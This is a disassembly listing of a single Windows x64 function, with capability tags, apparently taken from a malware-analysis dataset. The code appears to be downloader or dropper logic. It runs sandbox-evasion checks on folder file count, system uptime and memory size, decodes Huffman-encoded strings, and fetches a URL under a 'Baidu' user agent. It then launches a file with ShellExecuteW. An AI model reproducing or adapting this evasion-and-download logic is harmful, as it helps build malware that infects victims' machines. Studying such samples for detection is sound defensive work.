Function at 0x140006de0
Capabilities:
Check http status code
Create http request
Create process on windows
Enumerate files on windows
Get common file path
Get memory capacity

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
mov qword [rsp + 0x18], rdi
push rbp
push r12
push r13
push r14
push r15
lea rbp, [rsp - 0x3c0]
sub rsp, 0x4c0
mov rax, qword [0x14004c180]
xor rax, rsp
mov qword [rbp + 0x3b0], rax
mov ecx, 0x10
call fcn.1400230f0
mov rsi, rax
mov qword [rbp - 0x68], rax
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rsp + 0x30], xmm0
mov byte [rsp + 0x40], al
mov dword [rsp + 0x44], 0x2a
mov dword [rsp + 0x48], 0x27
mov dword [rsp + 0x4c], 0x1b
movdqa xmm0, xmmword [0x14003ffd0]
movdqa xmmword [rsp + 0x50], xmm0
movdqa xmm1, xmmword [0x140040200]
movdqa xmmword [rsp + 0x60], xmm1
movdqa xmm0, xmmword [0x1400404e0]
movdqa xmmword [rsp + 0x70], xmm0
mov dword [rbp - 0x80], 0x72
lea rcx, [rsp + 0x30]
call fcn.140008e10
test rsi, rsi
je 0x140006e9a
test rax, rax
je 0x140006e9a
movups xmm0, xmmword [rax]
movups xmmword [rsi], xmm0
mov ecx, 0x10
call fcn.1400230f0
mov r13, rax
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rsp + 0x30], xmm0
mov byte [rsp + 0x40], al
mov dword [rsp + 0x44], 2
mov dword [rsp + 0x48], 0x70
mov dword [rsp + 0x4c], 7
movdqa xmm0, xmmword [0x1400404b0]
movdqa xmmword [rsp + 0x50], xmm0
movdqa xmm1, xmmword [0x140040150]
movdqa xmmword [rsp + 0x60], xmm1
movdqa xmm0, xmmword [0x140040410]
movdqa xmmword [rsp + 0x70], xmm0
mov dword [rbp - 0x80], 0x61
lea rcx, [rsp + 0x30]
call fcn.1400089e0
test r13, r13
je 0x140006f1a
test rax, rax
je 0x140006f1a
movups xmm0, xmmword [rax]
movups xmmword [r13], xmm0
call fcn.1400042b0
test al, al
jne 0x140007c94
lea r9, [rbp - 0x70]
xor r8d, r8d
xor edx, edx
lea rcx, [0x140038780]
call qword [sym.imp.SHELL32.dll_SHGetKnownFolderPath]
test eax, eax
js 0x140006f60
mov rcx, qword [rbp - 0x70]
call fcn.140006c50
mov edi, eax
mov rcx, qword [rbp - 0x70]
call qword [sym.imp.ole32.dll_CoTaskMemFree]
xor eax, eax
cmp edi, 6
setl al
jmp 0x140006f65
mov eax, 1
test eax, eax
jne 0x140007c94
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp - 0x60], xmm0
mov qword [rbp - 0x50], rax
lea rcx, [rbp - 0x60]
call fcn.140003b10
mov rbx, qword [rbp - 0x60]
mov rdi, rbx
mov rsi, qword [rbp - 0x58]
cmp rbx, rsi
je 0x140006fe9
mov r14, qword [0x14004c1d0]
mov r12, qword [0x14004c1c8]
mov r15, qword [0x14004c1b8]
nop dword [rax + rax]
lea r9, [0x14004c1b8]
cmp r14, 0x10
cmovae r9, r15
mov rcx, rdi
cmp qword [rdi + 0x18], 0x10
jb 0x140006fcc
mov rcx, qword [rdi]
mov qword [rsp + 0x20], r12
mov rdx, qword [rdi + 0x10]
call fcn.140012c30
cmp rax, 0xffffffffffffffff
jne 0x140007038
add rdi, 0x20
cmp rdi, rsi
jne 0x140006fb0
test rbx, rbx
je 0x140007c90
mov rdx, rsi
mov rcx, rbx
call fcn.140012e80
mov rdx, qword [rbp - 0x50]
sub rdx, rbx
and rdx, 0xffffffffffffffe0
mov rax, rbx
cmp rdx, 0x1000
jb 0x140007c88
add rdx, 0x27
mov rbx, qword [rbx - 8]
sub rax, rbx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140007c88
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
test rbx, rbx
je 0x14000707c
mov rdx, rsi
mov rcx, rbx
call fcn.140012e80
mov rdx, qword [rbp - 0x50]
sub rdx, rbx
and rdx, 0xffffffffffffffe0
mov rax, rbx
cmp rdx, 0x1000
jb 0x140007074
add rdx, 0x27
mov rbx, qword [rbx - 8]
sub rax, rbx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140007031
mov rcx, rbx
call fcn.140034ee0
xor r15d, r15d
mov edi, r15d
mov qword [rbp - 0x70], r15
lea r9, [rbp - 0x70]
xor r8d, r8d
xor edx, edx
lea rcx, [0x140038790]
call qword [sym.imp.SHELL32.dll_SHGetKnownFolderPath]
test eax, eax
js 0x140007c90
mov rdx, qword [rbp - 0x70]
lea rcx, [rbp - 0x40]
call fcn.140011810
lea rdx, [0x14003c568]
lea rcx, [rbp - 0x40]
call fcn.140012420
lea rcx, [rbp - 0x40]
cmp qword [rbp - 0x28], 8
cmovae rcx, qword [rbp - 0x40]
lea rdx, [rbp + 0x160]
call qword [sym.imp.KERNEL32.dll_FindFirstFileW]
mov rbx, rax
cmp rax, 0xffffffffffffffff
je 0x14000711c
nop word [rax + rax]
test byte [rbp + 0x160], 0x10
lea ecx, [rdi + 1]
cmovne ecx, edi
mov edi, ecx
lea rdx, [rbp + 0x160]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_FindNextFileW]
test eax, eax
jne 0x1400070f0
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_FindClose]
mov rcx, qword [rbp - 0x70]
call qword [sym.imp.ole32.dll_CoTaskMemFree]
mov rdx, qword [rbp - 0x28]
cmp rdx, 8
jb 0x140007169
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp - 0x40]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140007164
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140007164
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140034ee0
cmp edi, 5
jle 0x140007c90
call qword [sym.imp.KERNEL32.dll_GetTickCount]
cmp eax, 0x75300
jb 0x140007c90
call fcn.1400040c0
test al, al
jne 0x140007c90
call fcn.140004570
test eax, eax
jne 0x140007c90
mov dword [rbp + 0x120], 0x40
lea rcx, [rbp + 0x120]
call qword [sym.imp.KERNEL32.dll_GlobalMemoryStatusEx]
mov rcx, qword [rbp + 0x128]
xorps xmm1, xmm1
test rcx, rcx
js 0x1400071ca
cvtsi2sd xmm1, rcx
jmp 0x1400071df
mov rax, rcx
shr rax, 1
and ecx, 1
or rax, rcx
cvtsi2sd xmm1, rax
addsd xmm1, xmm1
mulsd xmm1, qword [0x14003fe88]
movsd xmm0, qword [0x14003fe90]
mov rsi, qword [rbp - 0x68]
comisd xmm0, xmm1
ja 0x140007c94
mov rdx, r13
mov rcx, rsi
call fcn.140004e60
test eax, eax
jne 0x140007c94
mov qword [rbp + 0x128], r15
mov ecx, 0x2d0
call fcn.140034c54
mov r8, rax
mov qword [rbp + 0x120], rax
mov qword [rbp + 0x130], 0x2cd
mov qword [rbp + 0x138], 0x2cf
mov rcx, rax
lea rdx, str.011101110111001010011011001100010011100101001010101011010101100111000101000011111011100001010001111100011111111010100001011010101010010011001110001000100100110000111101100000111111100001001010111101100001001001010011111010110000000110010100101101111111111100001101101100110101110100000101000000111010000101010100001101011010001101001101000101100101101100111111111010010000000001110111010000100100101100101101101001101010111110111100101101001111011011011110010110011110111011000111111000110101111010111010001010100110101011000010010111101000100011101001111001100111000101011100110100110101011001111110111001000111100100100000110000010011001100010110011011110111100011111011111001110011110001010100001111011111010100000
mov ebx, 5
mov edi, ebx
movups xmm0, xmmword [rdx]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rdx + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rdx + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rdx + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rdx + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rdx + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rdx + 0x60]
movups xmmword [rcx + 0x60], xmm0
lea rcx, [rcx + 0x80]
movups xmm1, xmmword [rdx + 0x70]
movups xmmword [rcx - 0x10], xmm1
lea rdx, [rdx + 0x80]
sub rdi, 1
jne 0x140007252
movups xmm0, xmmword [rdx]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rdx + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rdx + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rdx + 0x30]
movups xmmword [rcx + 0x30], xmm1
mov rax, qword [rdx + 0x40]
mov qword [rcx + 0x40], rax
mov eax, dword [rdx + 0x48]
mov dword [rcx + 0x48], eax
movzx eax, byte [rdx + 0x4c]
mov byte [rcx + 0x4c], al
mov byte [r8 + 0x2cd], r15b
mov qword [rbp + 0x68], r15
mov ecx, 0xe20
call fcn.140034c54
mov rdi, rax
mov qword [rbp + 0x60], rax
mov qword [rbp + 0x70], 0xe1b
mov qword [rbp + 0x78], 0xe1f
mov rcx, rax
lea rdx, str._frequency_:_128___left_:__frequency_:_59___left_:__frequency_:_27___left_:__frequency_:_12___left_:__frequency_:_6___left_:__char_:__f____frequency_:_3___right_:__char_:__w____frequency_:_3___right_:__frequency_:_6___left_:__char_:__p____frequency_:_3___right_:__char_:_______frequency_:_3___right_:__frequency_:_15___left_:__frequency_:_7___left_:__char_:__u____frequency_:_3___right_:__char_:__9____frequency_:_4___right_:__frequency_:_8___left_:__char_:__s____frequency_:_4___right_:__frequency_:_4___left_:__char_:__g____frequency_:_2___right_:__char_:__6____frequency_:_2___right_:__frequency_:_32___left_:__frequency_:_16___left_:__frequency_:_8___left_:__char_:__I____frequency_:_4___right_:__frequency_:_4___left_:__char_:__U____frequency_:_2___right_:__char_:__2____frequency_:_2___right_:__frequency_:_8___left_:__char_:__Y____frequency_:_4___right_:__frequency_:_4___left_:__char_:__M____frequency_:_2___right_:__frequency_:_2___left_:__char_:__b____frequency_:_1___right_:__char_:__B____frequency_:_1___right_:__frequency_:_16___left_:__frequency_:_8___left_:__frequency_:_4___left_:__frequency_:_2___left_:__char_:__r____frequency_:_1___right_:__char_:__3____frequency_:_1___right_:__char_:__W____frequency_:_2___right_:__char_:__l____frequency_:_4___right_:__frequency_:_8___left_:__frequency_:_4___left_:__char_:__Q____frequency_:_2___right_:__frequency_:_2___left_:__char_:__F____frequency_:_1___right_:__char_:__N____frequency_:_1___right_:__char_:__T____frequency_:_4___right_:__frequency_:_69___left_:__frequency_:_32___left_:__frequency_:_16___left_:__frequency_:_8___left_:__char_:__Z____frequency_:_4___right_:__frequency_:_4___left_:__frequency_:_2___left_:__char_:__E____frequency_:_1___right_:__char_:__4____frequency_:_1___right_:__char_:__q____frequency_:_2___right_:__frequency_:_8___left_:__frequency_:_4___left_:__char_:______frequency_:_2___right_:__char_:__7____frequency_:_2___right_:__char_:__8____frequency_:_4___right_:__frequency_:_16___left_:__frequency_:_8___left_:__frequency_:_4___left_:__frequency_:_2___left_:__char_:__0____frequency_:_1___right_:__char_:__z____frequency_:_1___right_:__frequency_:_2___left_:__char_:__o____frequency_:_1___right_:__char_:__y____frequency_:_1___right_:__char_:__H____frequency_:_4___right_:__frequency_:_8___left_:__frequency_:_4___left_:__char_:__D____frequency_:_2___right_:__frequency_:_2___left_:__char_:__K____frequency_:_1___right_:__char_:__1____frequency_:_1___right_:__char_:__v____frequency_:_4___right_:__frequency_:_37___left_:__frequency_:_16___left_:__frequency_:_8___left_:__char_:__J____frequency_:_4___right_:__frequency_:_4___left_:__char_:__S____frequency_:_2___right_:__frequency_:_2___left_:__char_:__t____frequency_:_1___right_:__char_:__L____frequency_:_1___right_:__frequency_:_8___left_:__frequency_:_4___left_:__char_:__h____frequency_:_2___right_:__char_:__a____frequency_:_2___right_:__frequency_:_4___left_:__char_:__O____frequency_:_2___right_:__frequency_:_2___left_:__char_:__e____frequency_:_1___right_:__char_:__G____frequency_:_1___right_:__frequency_:_21___left_:__frequency_:_10___left_:__char_:__5____frequency_:_5___right_:__frequency_:_5___left_:__char_:__x____frequency_:_2___right_:__char_:__k____frequency_:_3___right_:__frequency_:_11___left_:__char_:__j____frequency_:_5___right_:__frequency_:_6___left_:__char_:__C____frequency_:_3___right_:__char_:__m____frequency_:_3
mov r8d, 0xe1b
call sub.VCRUNTIME140.dll_memcpy
mov byte [rdi + 0xe1b], r15b
lea r8, [rbp + 0x60]
lea rdx, [rbp + 0x120]
lea rcx, [rbp + 0x100]
call fcn.140003840
mov r9, r13
mov r8, rsi
lea rdx, [rbp + 0x100]
lea rcx, [rbp + 0x40]
call fcn.140004830
lea r8, [rbp + 0x40]
cmp qword [rbp + 0x58], 0x10
cmovae r8, qword [rbp + 0x40]
add r8, qword [rbp + 0x50]
lea rdx, [rbp + 0x40]
cmp qword [rbp + 0x58], 0x10
cmovae rdx, qword [rbp + 0x40]
lea rcx, [rbp - 0x60]
call fcn.140012ae0
mov dword [rsp + 0x20], r15d
xor r9d, r9d
xor r8d, r8d
lea edx, [r9 + 1]
lea rcx, str.Baidu
call qword [sym.imp.WININET.dll_InternetOpenW]
mov r14, rax
lea rdx, [rbp - 0x60]
cmp qword [rbp - 0x48], 8
cmovae rdx, qword [rbp - 0x60]
mov qword [rsp + 0x28], r15
mov dword [rsp + 0x20], 0x80000000
xor r9d, r9d
xor r8d, r8d
mov rcx, rax
call qword [sym.imp.WININET.dll_InternetOpenUrlW]
mov rdi, rax
test rax, rax
jne 0x14000740a
mov rdx, qword [rbp - 0x48]
cmp rdx, 8
jb 0x140007b56
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp - 0x60]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140007b51
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140007482
jmp 0x140007b51
mov dword [rbp - 0x70], 4
mov qword [rsp + 0x20], r15
lea r9, [rbp - 0x70]
lea r8, [rbp - 0x68]
mov edx, 0x20000013
mov rcx, rdi
call qword [sym.imp.WININET.dll_HttpQueryInfoW]
mov rcx, rdi
call qword [sym.imp.WININET.dll_InternetCloseHandle]
mov rcx, r14
call qword [sym.imp.WININET.dll_InternetCloseHandle]
mov rdx, qword [rbp - 0x48]
cmp dword [rbp - 0x68], 0x194
je 0x1400073ca
cmp rdx, 8
jb 0x14000748e
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp - 0x60]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140007489
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140007489
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140034ee0
mov qword [rbp + 0x88], r15
mov ecx, 0x2f0
call fcn.140034c54
mov rdx, rax
mov qword [rbp + 0x80], rax
mov qword [rbp + 0x90], 0x2e2
mov qword [rbp + 0x98], 0x2ef
mov rcx, rax
lea rax, str.110001110000100000100100001100011100100111111111001010110111101101111000001011001010100111101011101011100010110101110000100010101001011110001111110001011100110101110100101001110101000111110111001100111001100001111011000001101111001101001100111101010000011101100100101110111111011111010100011011010111101010101111101111100110010110010111010100001100100011010010100101101110110100111101011001000011111101000001110110001110010011000010001101110000110000010101110100011010110000101000010001011011010111110111111110101001110011000001000011101111011100010101010111111110010111010010101001111011101001010011001110010101001101011001000000110100001111111000011010010111110000110110011000100110000000110011101010111011010000010010011110100001011111
nop dword [rax]
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
lea rcx, [rcx + 0x80]
movups xmm1, xmmword [rax + 0x70]
movups xmmword [rcx - 0x10], xmm1
lea rax, [rax + 0x80]
sub rbx, 1
jne 0x1400074d0
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movzx eax, word [rax + 0x60]
mov word [rcx + 0x60], ax
mov byte [rdx + 0x2e2], r15b
mov qword [rbp + 0x28], r15
mov ecx, 0xfb0
call fcn.140034c54
mov rdi, rax
mov qword [rbp + 0x20], rax
mov qword [rbp + 0x30], 0xfa7
mov qword [rbp + 0x38], 0xfaf
mov rcx, rax
lea rdx, str._frequency_:_128___left_:__frequency_:_57___left_:__frequency_:_25___left_:__frequency_:_12___left_:__frequency_:_6___left_:__char_:__9____frequency_:_3___right_:__char_:__S____frequency_:_3___right_:__frequency_:_6___left_:__char_:__Y____frequency_:_3___right_:__frequency_:_3___left_:__char_:__x____frequency_:_1___right_:__char_:______frequency_:_2___right_:__frequency_:_13___left_:__frequency_:_6___left_:__char_:__0____frequency_:_3___right_:__char_:__H____frequency_:_3___right_:__char_:__T____frequency_:_7___right_:__frequency_:_32___left_:__frequency_:_16___left_:__frequency_:_8___left_:__frequency_:_4___left_:__char_:__q____frequency_:_2___right_:__char_:__m____frequency_:_2___right_:__frequency_:_4___left_:__frequency_:_2___left_:__char_:__X____frequency_:_1___right_:__char_:__a____frequency_:_1___right_:__frequency_:_2___left_:__char_:__W____frequency_:_1___right_:__char_:__h____frequency_:_1___right_:__frequency_:_8___left_:__frequency_:_4___left_:__char_:__G____frequency_:_2___right_:__char_:__K____frequency_:_2___right_:__frequency_:_4___left_:__frequency_:_2___left_:__char_:__C____frequency_:_1___right_:__char_:__6____frequency_:_1___right_:__char_:__I____frequency_:_2___right_:__frequency_:_16___left_:__frequency_:_8___left_:__frequency_:_4___left_:__char_:__t____frequency_:_2___right_:__char_:__d____frequency_:_2___right_:__frequency_:_4___left_:__char_:__D____frequency_:_2___right_:__char_:__l____frequency_:_2___right_:__frequency_:_8___left_:__frequency_:_4___left_:__char_:__j____frequency_:_2___right_:__char_:__z____frequency_:_2___right_:__frequency_:_4___left_:__frequency_:_2___left_:__char_:__Q____frequency_:_1___right_:__char_:__A____frequency_:_1___right_:__char_:__L____frequency_:_2___right_:__frequency_:_71___left_:__frequency_:_32___left_:__frequency_:_16___left_:__frequency_:_8___left_:__frequency_:_4___left_:__char_:__F____frequency_:_2___right_:__char_:__v____frequency_:_2___right_:__frequency_:_4___left_:__char_:__p____frequency_:_2___right_:__frequency_:_2___left_:__char_:__2____frequency_:_1___right_:__char_:__1____frequency_:_1___right_:__frequency_:_8___left_:__frequency_:_4___left_:__frequency_:_2___left_:__char_:__s____frequency_:_1___right_:__char_:__B____frequency_:_1___right_:__char_:__i____frequency_:_2___right_:__frequency_:_4___left_:__char_:__r____frequency_:_2___right_:__char_:__5____frequency_:_2___right_:__frequency_:_16___left_:__frequency_:_8___left_:__char_:__k____frequency_:_4___right_:__frequency_:_4___left_:__char_:__O____frequency_:_2___right_:__frequency_:_2___left_:__char_:__P____frequency_:_1___right_:__char_:__c____frequency_:_1___right_:__frequency_:_8___left_:__frequency_:_4___left_:__char_:__y____frequency_:_2___right_:__frequency_:_2___left_:__char_:__n____frequency_:_1___right_:__char_:__e____frequency_:_1___right_:__frequency_:_4___left_:__char_:__V____frequency_:_2___right_:__char_:__g____frequency_:_2___right_:__frequency_:_39___left_:__frequency_:_16___left_:__frequency_:_8___left_:__frequency_:_4___left_:__char_:__E____frequency_:_2___right_:__frequency_:_2___left_:__char_:__4____frequency_:_1___right_:__char_:__N____frequency_:_1___right_:__frequency_:_4___left_:__char_:_______frequency_:_2___right_:__char_:__7____frequency_:_2___right_:__frequency_:_8___left_:__frequency_:_4___left_:__char_:__w____frequency_:_2___right_:__char_:__8____frequency_:_2___right_:__char_:__M____frequency_:_4___right_:__frequency_:_23___left_:__frequency_:_11___left_:__char_:__u____frequency_:_5___right_:__char_:__f____frequency_:_6___right_:__frequency_:_12___left_:__frequency_:_6___left_:__char_:__J____frequency_:_3___right_:__char_:__Z____frequency_:_3___right_:__frequency_:_6___left_:__char_:__b____frequency_:_3___right_:__char_:__o____frequency_:_3
mov r8d, 0xfa7
call sub.VCRUNTIME140.dll_memcpy
mov byte [rdi + 0xfa7], r15b
lea r8, [rbp + 0x20]
lea rdx, [rbp + 0x80]
lea rcx, [rbp + 0xe0]
call fcn.140003840
mov r9, r13
mov r8, rsi
lea rdx, [rbp + 0xe0]
lea rcx, [rbp + 0xc0]
call fcn.140004830
lea r9d, [rbx + 0x40]
lea r8, [0x14003e928]
lea rdx, [0x14003e938]
xor ecx, ecx
call qword [sym.imp.USER32.dll_MessageBoxW]
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp + 0x160], xmm0
movups xmmword [rbp + 0x170], xmm0
mov dword [rbp + 0x180], eax
mov byte [rbp + 0x184], al
mov dword [rbp + 0x188], r15d
mov dword [rbp + 0x18c], 0x35
movdqa xmm0, xmmword [0x140040380]
movdqa xmmword [rbp + 0x190], xmm0
movdqa xmm1, xmmword [0x140040520]
movdqa xmmword [rbp + 0x1a0], xmm1
movdqa xmm0, xmmword [0x14003ff20]
movdqa xmmword [rbp + 0x1b0], xmm0
movdqa xmm1, xmmword [0x14003ffc0]
movdqa xmmword [rbp + 0x1c0], xmm1
movdqa xmm0, xmmword [0x14003ffb0]
movdqa xmmword [rbp + 0x1d0], xmm0
movdqa xmm1, xmmword [0x14003ff80]
movdqa xmmword [rbp + 0x1e0], xmm1
movdqa xmm0, xmmword [0x1400401c0]
movdqa xmmword [rbp + 0x1f0], xmm0
movdqa xmm1, xmmword [0x140040370]
movdqa xmmword [rbp + 0x200], xmm1
mov dword [rbp + 0x210], 0x53
mov dword [rbp + 0x214], 0x52
lea rcx, [rbp + 0x160]
call fcn.140008070
mov rdx, rax
lea rcx, [rbp - 0x20]
call fcn.140011af0
xor eax, eax
mov qword [rsp + 0x30], rax
mov dword [rsp + 0x38], eax
mov word [rsp + 0x3c], ax
movdqa xmm0, xmmword [0x140040000]
movdqa xmmword [rsp + 0x40], xmm0
movdqa xmm1, xmmword [0x140040550]
movdqa xmmword [rsp + 0x50], xmm1
movdqa xmm0, xmmword [0x1400401e0]
movdqa xmmword [rsp + 0x60], xmm0
mov dword [rsp + 0x70], 0x21
lea rcx, [rsp + 0x30]
call fcn.140007d00
mov rdx, rax
lea rcx, [rbp]
call fcn.140011af0
lea rdx, [rbp + 0xc0]
lea rcx, [rbp + 0xa0]
call fcn.140006a60
mov r9, r13
mov r8, rsi
lea rdx, [rbp - 0x20]
lea rcx, [rbp + 0xa0]
call fcn.140006490
test al, al
je 0x14000792a
lea r8, [rbp - 0x20]
cmp qword [rbp - 8], 0x10
cmovae r8, qword [rbp - 0x20]
add r8, qword [rbp - 0x10]
lea rdx, [rbp - 0x20]
cmp qword [rbp - 8], 0x10
cmovae rdx, qword [rbp - 0x20]
lea rcx, [rbp - 0x40]
call fcn.140012ae0
lea r8, [rbp]
cmp qword [rbp + 0x18], 0x10
cmovae r8, qword [rbp]
add r8, qword [rbp + 0x10]
lea rdx, [rbp]
cmp qword [rbp + 0x18], 0x10
cmovae rdx, qword [rbp]
lea rcx, [rbp - 0x60]
call fcn.140012ae0
lea r9, [rbp - 0x60]
cmp qword [rbp - 0x48], 8
cmovae r9, qword [rbp - 0x60]
lea r8, [rbp - 0x40]
cmp qword [rbp - 0x28], 8
cmovae r8, qword [rbp - 0x40]
mov dword [rsp + 0x28], 1
mov qword [rsp + 0x20], r15
lea rdx, str.open
xor ecx, ecx
call qword [sym.imp.SHELL32.dll_ShellExecuteW]
mov rdx, qword [rbp - 0x48]
cmp rax, 0x20
jle 0x14000789d
cmp rdx, 8
jb 0x140007823
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp - 0x60]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000781e
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14000791e
call fcn.140034ee0
movdqa xmm0, xmmword [0x14003fed0]
movdqu xmmword [rbp - 0x50], xmm0
mov word [rbp - 0x60], r15w
mov rdx, qword [rbp - 0x28]
cmp rdx, 8
jb 0x140007875
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp - 0x40]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140007870
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14000791e
call fcn.140034ee0
lea rdx, [0x14003e950]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.1400128d0
mov rcx, rax
lea rdx, [0x140012aa0]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
jmp 0x14000792a
cmp rdx, 8
jb 0x1400078d5
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp - 0x60]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400078d0
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14000791e
call fcn.140034ee0
movdqa xmm0, xmmword [0x14003fed0]
movdqu xmmword [rbp - 0x50], xmm0
mov word [rbp - 0x60], r15w
mov rdx, qword [rbp - 0x28]
cmp rdx, 8
jb 0x14000792a
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp - 0x40]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140007925
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140007925
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140034ee0
mov rdx, qword [rbp + 0xb8]
cmp rdx, 0x10
jb 0x14000796b
inc rdx
mov rcx, qword [rbp + 0xa0]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140007966
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140007031
call fcn.140034ee0
movdqa xmm0, xmmword [0x14003fee0]
movdqu xmmword [rbp + 0xb0], xmm0
mov byte [rbp + 0xa0], r15b
mov rdx, qword [rbp + 0x18]
cmp rdx, 0x10
jb 0x1400079bd
inc rdx
mov rcx, qword [rbp]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400079b8
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140007031
call fcn.140034ee0
movdqa xmm0, xmmword [0x14003fee0]
movdqu xmmword [rbp + 0x10], xmm0
mov byte [rbp], r15b
mov rdx, qword [rbp - 8]
cmp rdx, 0x10
jb 0x140007a09
inc rdx
mov rcx, qword [rbp - 0x20]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140007a04
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140007031
call fcn.140034ee0
movdqa xmm0, xmmword [0x14003fee0]
movdqu xmmword [rbp - 0x10], xmm0
mov byte [rbp - 0x20], r15b
mov rdx, qword [rbp + 0xd8]
cmp rdx, 0x10
jb 0x140007a5b
inc rdx
mov rcx, qword [rbp + 0xc0]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140007a56
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140007031
call fcn.140034ee0
movdqa xmm0, xmmword [0x14003fee0]
movdqu xmmword [rbp + 0xd0], xmm0
mov byte [rbp + 0xc0], r15b
mov rdx, qword [rbp + 0xf8]
cmp rdx, 0x10
jb 0x140007ab3
inc rdx
mov rcx, qword [rbp + 0xe0]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140007aae
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140007031
call fcn.140034ee0
movdqa xmm0, xmmword [0x14003fee0]
movdqu xmmword [rbp + 0xf0], xmm0
mov byte [rbp + 0xe0], r15b
mov rdx, qword [rbp + 0x38]
cmp rdx, 0x10
jb 0x140007b05
inc rdx
mov rcx, qword [rbp + 0x20]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140007b00
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140007031
call fcn.140034ee0
mov qword [rbp + 0x30], r15
mov qword [rbp + 0x38], 0xf
